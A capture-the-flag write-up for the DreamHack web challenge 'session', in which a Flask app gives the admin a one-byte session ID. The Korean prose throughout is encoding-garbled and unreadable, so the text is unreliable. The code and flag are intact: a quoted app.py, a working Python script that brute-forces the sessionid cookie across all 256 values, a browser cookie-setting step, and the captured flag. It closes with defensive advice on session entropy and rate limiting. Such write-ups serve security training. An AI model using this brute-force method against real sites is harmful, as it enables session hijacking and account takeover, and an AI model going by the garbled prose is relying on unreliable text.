๋ฌธ์ : DreamHack โ session ๋ถ๋ฅ: Web ๋์ด๋: ๐ฑ ์์น (Sprout) FLAG:
DH{73b3a0ebf47fd6f68ce623853c1d4f138ad91712}
๋ก๊ทธ์ธํ๋ฉด "Hello guest, you are not admin", admin์ผ๋ก ๋ค์ด๊ฐ๋ฉด flag๋ฅผ ๋ณด์ฌ ์ฃผ๋ ํํ ๋ก๊ทธ์ธ ํ์ด์ง๋ค. ๊ทธ๋ฐ๋ฐ admin ๋น๋ฐ๋ฒํธ๊ฐ ๊ณง flag๋ผ ์ ๊ณต๋ฒ์ ๋งํ ์๋ค. ์ง์ง ๋นํ์ ๋น๋ฐ๋ฒํธ๊ฐ ์๋๋ผ ์ธ์ ์ ์๋ณํ๋ ์ฟ ํค ๊ฐ์ ์์๋ค.

๋ฌธ์ ๊ฐ์
| ํญ๋ชฉ | ๋ด์ฉ |
|---|---|
| ๋ฌธ์ ๋ช | session |
| ๋์ด๋ | ๐ฑ ์์น (Sprout) |
| ๋ถ๋ฅ | Web |
| ์คํ | Python 3.9 ยท Flask ยท Werkzeug 2.0.1 |
| ์ ๊ณต | app.py ์์ค + ๋ผ์ด๋ธ ์๋ฒ |
| ํต์ฌ ์ทจ์ฝ์ | ์๋ฒ ๋ถํ
์ ๊น์ ๋๋ admin ์ธ์
ID๊ฐ os.urandom(1) = 1๋ฐ์ดํธ(256๊ฐ์ง)๋ฟ |
ํ์ด๋ ์งง๋ค. ์์ค์์ "์ธ์
์ ์ด๋ป๊ฒ ๋ง๋๋๊ฐ"๋ง ๋ณด๋ฉด ๋๋ค. ์ผ๋ฐ ์ธ์
์ 4๋ฐ์ดํธ์ง๋ง admin ์ธ์
์ 1๋ฐ์ดํธ๋ผ, sessionid ์ฟ ํค๋ฅผ 00๋ถํฐ ff๊น์ง 256๋ฒ ๋ฐ๊ฟ ๋ณด๋ด๋ฉด ๊ทธ ์์ ๋ฐ๋์ admin ์ธ์
์ด ๋ค์ด ์๋ค.
๐งฉ ๋ฐฐ๊ฒฝ โ ์ฟ ํค๋ก ๋ก๊ทธ์ธ์ ๊ธฐ์ตํ๋ ๋ฐฉ์
HTTP๋ ์์ฒญ๋ง๋ค ์ฐ๊ฒฐ์ด ๋๊ธฐ๋ ๋ฌด์ํ(stateless) ํ๋กํ ์ฝ์ด๋ผ, "์ด ์ฌ๋์ ๋ฐฉ๊ธ ๋ก๊ทธ์ธํ ๊ทธ ์ฌ๋"์ด๋ผ๋ ์ฌ์ค์ ๋ฐ๋ก ๊ธฐ์ตํด์ผ ํ๋ค. ๊ฐ์ฅ ํํ ๋ฐฉ๋ฒ์ด ์๋ฒ ์ธก ์ธ์ ์ด๋ค.
- ๋ก๊ทธ์ธ์ ์ฑ๊ณตํ๋ฉด ์๋ฒ๊ฐ ์์์ ์ธ์ ID๋ฅผ ํ๋ ๋ง๋ ๋ค.
- ์๋ฒ๋
์ธ์ ID โ ์ฌ์ฉ์๋งคํ์ ๋ฉ๋ชจ๋ฆฌ(๋๋ DB)์ ์ ์ฅํ๋ค. - ๊ทธ ์ธ์
ID๋ฅผ
Set-Cookie๋ก ๋ธ๋ผ์ฐ์ ์ ๋ด๋ ค๋ณด๋ธ๋ค. - ์ดํ ๋ธ๋ผ์ฐ์ ๋ ๋งค ์์ฒญ์
Cookie: sessionid=...๋ฅผ ์๋์ผ๋ก ๋ถ์ด๊ณ , ์๋ฒ๋ ๊ทธ ๊ฐ์ผ๋ก ์ฌ์ฉ์๋ฅผ ๋์ฐพ๋๋ค.
์ฌ๊ธฐ์ ๋ณด์์ ์ ์ ๋ ๋จ ํ๋๋ค. ์ธ์ ID๋ ๋จ์ด ์ถ์ธกํ ์ ์์ด์ผ ํ๋ค. ์ถ์ธก ๊ฐ๋ฅํ๋ฉด ๋น๋ฐ๋ฒํธ๋ฅผ ๋ชฐ๋ผ๋ ๋จ์ ์ธ์ ์ ๊ทธ๋๋ก ๊ฐ์ ธ๋ค ์ธ ์ ์๊ธฐ ๋๋ฌธ์ด๋ค(์ธ์ ํ์ด์ฌํน). ๊ทธ๋์ ๋ณดํต ์ธ์ ID๋ ์ถฉ๋ถํ ๊ธด ๋์(16๋ฐ์ดํธ ์ด์)๋ก ๋ง๋ ๋ค. ์ด ๋ฌธ์ ๋ ๊ทธ "์ถฉ๋ถํ ๊ธด"์ admin์๊ฒ๋ง ์ด๊ฒผ๋ค.
๐ฌ ์ฝ๋ ์ ์ฐฐ
์ ๊ณต๋ app.py ๋ ํ ํ๋ฉด์ด๋ค. ํต์งธ๋ก ๋ณธ๋ค.
cat -n extracted/app.py
๋จผ์ ์ฌ์ฉ์ ๋ชฉ๋ก๊ณผ ์ธ์
์ ์ฅ์. admin์ ๋น๋ฐ๋ฒํธ๊ฐ ๊ทธ๋๋ก FLAG ๋ค.
users = {
'guest': 'guest',
'user': 'user1234',
'admin': FLAG
}
session_storage = {
}/login ์ ์์ด๋ยท๋น๋ฐ๋ฒํธ๊ฐ ๋ง์ผ๋ฉด ์ธ์
์ ๋ฐ๊ธํ๋ค.
if pw == password:
resp = make_response(redirect(url_for('index')))
session_id = os.urandom(4).hex() # ์ผ๋ฐ ์ฌ์ฉ์: 4๋ฐ์ดํธ = 8 hex
session_storage[session_id] = username
resp.set_cookie('sessionid', session_id)
return resp/ ๋ ์ฟ ํค์ sessionid ๋ก ์ ์ฅ์๋ฅผ ์กฐํํด, ๊ทธ ์ธ์
์ ์ฃผ์ธ์ด admin์ด๋ฉด flag๋ฅผ ์ฐ๋๋ค.
@app.route('/')
def index():
session_id = request.cookies.get('sessionid', None)
try:
username = session_storage[session_id]
except KeyError:
return render_template('index.html')
return render_template('index.html',
text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not admin"}')๋ก๊ทธ์ธ ์์ฒด๋ ํ๋ฒํ๊ฒ ๋์ํ๋ค. ์๋ด ์ฃผ์๋๋ก guest / guest ๋ก ๋ค์ด๊ฐ ๋ณด๋ฉด, ์ธ์
์ ์กํ์ง๋ง admin์ด ์๋๋ผ flag๋ ์ ๋ณด์ธ๋ค.



flag๋ฅผ ๋ณด๋ ค๋ฉด ๊ฒฐ๊ตญ admin ์ธ์ ์ด ํ์ํ๋ค. ๊ทธ๋ฐ๋ฐ admin ๋น๋ฐ๋ฒํธ๋ flag๋ผ์ ๋ก๊ทธ์ธ์ผ๋ก๋ ๋ชป ๋ง๋ ๋ค. ๊ทธ๋ฌ๋ฉด admin ์ธ์ ์ ๋์ฒด ์ด๋์ ์๊ธฐ๋๊ฐ? ํ์ผ ๋งจ ์๋, ์๋ฒ ์์ ์ฝ๋์ ๋ต์ด ์๋ค.
if __name__ == '__main__':
import os
session_storage[os.urandom(1).hex()] = 'admin' # โ ๋ถํ
๋ admin ์ธ์
์ ๋ฏธ๋ฆฌ ๊น์ ๋๋ค
print(session_storage)
app.run(host='0.0.0.0', port=8000)์๋ฒ๋ ๋ถํ ํ๋ฉด์ admin ์ธ์ ์ ํ๋ ๋ฏธ๋ฆฌ ๋ง๋ค์ด ์ ์ฅ์์ ๋ฃ์ด ๋๋ค. ์ฐ๋ฆฌ๊ฐ ๋ก๊ทธ์ธํ ํ์ ์์ด, ์ด๋ฏธ ์ด์ ์๋ admin ์ธ์ ์ด ๋ฉ๋ชจ๋ฆฌ์ ์๋ค๋ ๋ป์ด๋ค. ๋จ์ ๊ฑด ๊ทธ ์ธ์ ID๋ฅผ ๋งํ๋ ๊ฒ๋ฟ์ด๋ค.
๐ฃ ํต์ฌ ์ทจ์ฝ์ โ admin ์ธ์ ID๋ ๋จ 1๋ฐ์ดํธ
์ผ๋ฐ ์ธ์ ๊ณผ admin ์ธ์ ์ ๋ง๋๋ ์ฝ๋๋ฅผ ๋๋ํ ๋๋ฉด ์ฐจ์ด๊ฐ ํ๋์ ๋ณด์ธ๋ค.
| ์ธ์ | ์์ฑ ์ฝ๋ | ๊ธธ์ด | ๊ฒฝ์ฐ์ ์ |
|---|---|---|---|
| ์ผ๋ฐ ์ฌ์ฉ์ | os.urandom(4).hex() | 4๋ฐ์ดํธ = 8 hex | ์ฝ 43์ต (2ยณยฒ) |
| admin | os.urandom(1).hex() | 1๋ฐ์ดํธ = 2 hex | 256 (2โธ) |
os.urandom(1) ์ ๋ฐ์ดํธ ํ๋๋ฅผ ๋๋ ค์ฃผ๊ณ , .hex() ๋ ๊ทธ๊ฑธ ๋ ๊ธ์ 16์ง์ ๋ฌธ์์ด๋ก ๋ฐ๊พผ๋ค. ์ฆ admin ์ธ์
ID๊ฐ ๊ฐ์ง ์ ์๋ ๊ฐ์ 00, 01, ... ff โ ์ ํํ 256๊ฐ๊ฐ ์ ๋ถ๋ค. ์ง์ ์ฐ์ด ๋ณด๋ฉด ๊ฐ์ด ์จ๋ค.
import os
print([os.urandom(1).hex() for _ in range(6)]) # ๋งค๋ฒ ๋ ๊ธ์ hex
print('์ ์ฒด ๊ฒฝ์ฐ์ ์:', len(set(f'{i:02x}' for i in range(256))), '๊ฐ (00 ~ ff)')
256๊ฐ์ง๋ฐ์ ์ ๋๋ ๊ฐ์ "๋์"๋ผ๊ณ ๋ถ๋ฅด๊ธฐ ๋ฏผ๋งํ๋ค. ์ฟ ํค sessionid ๋ฅผ 00๋ถํฐ ff๊น์ง ํ ๋ฒ์ฉ ๋ฐ๊ฟ / ๋ฅผ ํธ์ถํ๋ฉด, ๊ทธ์ค ์ ํํ ํ ๋ฒ์ ๋ถํ
๋ ๊น๋ฆฐ admin ์ธ์
๊ณผ ์ผ์นํ๋ค. ๊ทธ ์๋ต์๋ flag is ... ๊ฐ ๋ฐํ ๋์จ๋ค.

โถ๐ ์ฝ์ง โ admin ๋น๋ฐ๋ฒํธ(=flag)๋ถํฐ ๋ ธ๋ ธ๋ค๊ฐ ๋์์จ ๊ธธ
์ฒ์์ ์์ฐ์ค๋ฝ๊ฒ ๋ก๊ทธ์ธ ํผ๋ถํฐ ๋๋๋ ธ๋ค. admin ์ผ๋ก ๋ค์ด๊ฐ๋ฉด flag๊ฐ ๋ณด์ด๋๊น, admin ๋น๋ฐ๋ฒํธ๋ง ์์๋ด๋ฉด ๋๋ค๊ณ ์๊ฐํ ๊ฒ์ด๋ค.
users = {
'guest': 'guest',
'user': 'user1234',
'admin': FLAG # โ admin ๋น๋ฐ๋ฒํธ = ์ฐ๋ฆฌ๊ฐ ์ฐพ๋ flag ๊ทธ ์์ฒด
}๊ทธ๋ฐ๋ฐ ๋น๋ฐ๋ฒํธ ๋น๊ต๋ pw == password ๋จ์ ์ผ์น๋ผ SQLiยทNoSQL ์ฐ์ฐ์ ์ฃผ์
๊ฐ์ ์ฐํ๊ฐ ๋ผ์ด๋ค ํ์ด ์๋ค. ๊ฒ๋ค๊ฐ admin ๋น๋ฐ๋ฒํธ๊ฐ ๊ณง flag๋ผ, "๋น๋ฐ๋ฒํธ๋ฅผ ์์๋ด๋ฉด ๋ก๊ทธ์ธ" ์ด ์๋๋ผ "flag๋ฅผ ์์๋ด๋ฉด flag๋ฅผ ์ป์" ์ด๋ผ๋ ๋์ด๋ฐ๋ณต์ด๋ค โ ์
๊ตฌ๊ฐ ๋งํ ์๋ ๊ฒ ์๋๋ผ ์ ์ด์ ์
๊ตฌ๊ฐ ์๋์๋ค.
๋ฐฉํฅ์ ๋น๋ฐ๋ฒํธ์์ ์ธ์
์๋ณ์๋ก ํ๊ณ ๋์์ผ ๋ถํ
์ ๊น๋ฆฌ๋ admin ์ธ์
๊ณผ os.urandom(1) ์ด ๋์ ๋ค์ด์๋ค.
๐ฏ ์ต์คํ๋ก์
ํ ์ผ์ ๋ช
ํํ๋ค. sessionid ์ฟ ํค๋ฅผ 00๋ถํฐ ff๊น์ง 256๋ฒ ๊ฐ์ ๋ผ์ฐ๋ฉฐ / ๋ฅผ ์์ฒญํ๊ณ , ์๋ต์ flag๊ฐ ๋ณด์ด๋ ๊ฐ์ ์ฐพ๋๋ค.
import requests
BASE = "http://host3.dreamhack.games:17749/"
s = requests.Session()
for i in range(256):
sid = f"{i:02x}" # 00 .. ff
r = s.get(BASE, cookies={"sessionid": sid}, timeout=5)
if "DH{" in r.text or "flag is" in r.text:
for line in r.text.splitlines():
if "DH{" in line or "flag is" in line:
print(f"[+] sessionid={sid} -> {line.strip()}")
break์ด ์๋ฒ ์ธ์คํด์ค์์๋ 7c ์์ ๊ฑธ๋ ธ๋ค(๋ถํ
๋ง๋ค ๊ฐ์ ๋ฌ๋ผ์ง๋ค โ ์ด์ฐจํผ 256๋ฒ ์์ ๋์จ๋ค).

๋ธ๋ผ์ฐ์ ๋ก๋ ๋๊ฐ์ด ํ์ธํ ์ ์๋ค. ๊ฐ๋ฐ์๋๊ตฌ ์ฝ์์์ document.cookie = 'sessionid=7c' ๋ก ์ฟ ํค๋ฅผ ๋ฐ๊พธ๊ณ ์๋ก๊ณ ์นจํ๋ฉด admin์ผ๋ก ์ธ์๋ผ flag๊ฐ ๊ทธ๋๋ก ๋์จ๋ค.

DH{73b3a0ebf47fd6f68ce623853c1d4f138ad91712}๐ ๊ฒฐ๋ก
์ธ์
ID์ ์ํธ๋กํผ๊ฐ ๊ณง ์ธ์ฆ์ ๊ฐ๋๋ค. ๋น๋ฐ๋ฒํธ๋ฅผ ์๋ฌด๋ฆฌ ๊ธธ๊ฒ ์ก์๋, ๋ก๊ทธ์ธํ ๊ฒฐ๊ณผ๋ฅผ ๋์ ์๋ณํ๋ ์ธ์
ID๊ฐ 256๊ฐ์ง๋ฟ์ด๋ฉด ๋น๋ฐ๋ฒํธ๋ฅผ ์ฐํํด ๋ฒ๋ฆฐ๋ค. ์ด ๋ฌธ์ ๋ ์ผ๋ฐ ์ฌ์ฉ์์๊ฒ 4๋ฐ์ดํธ(os.urandom(4))๋ฅผ ์ฐ๋ฉด์ ์ ์ ๊ฐ์ฅ ์ค์ํ admin ์ธ์
์๋ง 1๋ฐ์ดํธ(os.urandom(1))๋ฅผ ์ด, ํ ๊ธ์์ง๋ฆฌ ์ค์๋ค.
๋ฐฉ์ด๋ ๋จ์ํ๋ค.
- ์ธ์
ID๋ ์ถฉ๋ถํ ๊ธธ๊ณ ์์ธก ๋ถ๊ฐ๋ฅํ ๋์๋ก. ์ต์ 16๋ฐ์ดํธ(
os.urandom(16)์ด์), ํน์secrets.token_hex(16)์ฒ๋ผ ์ํธํ์ ๋์ ์ ์ฉ API๋ฅผ ์ด๋ค. 1ยท4๋ฐ์ดํธ์ฒ๋ผ ์งง๊ฒ ์ก์ง ์๋๋ค. - ์ธ์
๊ด๋ฆฌ๋ ์ง์ ๋ง๋ค์ง ๋ง๊ณ ๊ฒ์ฆ๋ ๊ตฌํ์ ๋งก๊ธด๋ค. Flask๋ผ๋ฉด
app.secret_key๋ฅผ ๋ ์๋ช ์ธ์ (flask.session)์ด๋ Flask-Login ๊ฐ์ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ์ด๋ค โ ๊ธธ์ดยท์๋ช ยท๋ง๋ฃ๋ฅผ ์์์ ์ฑ๊ฒจ ์ค๋ค. - ๋ฌด์ฐจ๋ณ ๋์ ์ ํ์งยท์ฐจ๋จํ๋ค. ์งง์ ์๊ฐ์ ์๋ฐฑ ๋ฒ ์ฟ ํค๋ง ๋ฐ๊ฟ ๊ฐ์ ๊ฒฝ๋ก๋ฅผ ๋๋๋ฆฌ๋ ์์ฒญ์ ๋น์ ์์ด๋ค. ์๋ ์ ํ(rate limit)๊ณผ ์ด์ ํ์ง๋ก 256๋ฒ์ง๋ฆฌ ์ ์ ๋์ ์์ฒด๋ฅผ ๋ง์ ์ ์๋ค.
์ฌ์ด ๋ฌธ์ ์ง๋ง ๊ตํ์ ๋ฌต์งํ๋ค. ์ธ์ฆ์์ "์ถ์ธก ๋ถ๊ฐ๋ฅ"์ ๋ณด์ฅํ๋ ๊ฑด ๋น๋ฐ๋ฒํธ๋ง์ด ์๋๋ผ, ๊ทธ ์ธ์ฆ ๊ฒฐ๊ณผ๋ฅผ ๋ค๊ณ ๋ค๋๋ ํ ํฐ์ ์ํธ๋กํผ๋ค.
Comments
๋๊ธ
๋๊ธ์ ๋จ๊ธฐ๋ ค๋ฉด ๋ก๊ทธ์ธ์ด ํ์ํด์. (๋ค์ด๋ฒ ยท ๊ตฌ๊ธ ๊ณ์ )
๋๊ธ ๋ถ๋ฌ์ค๋ ์คโฆ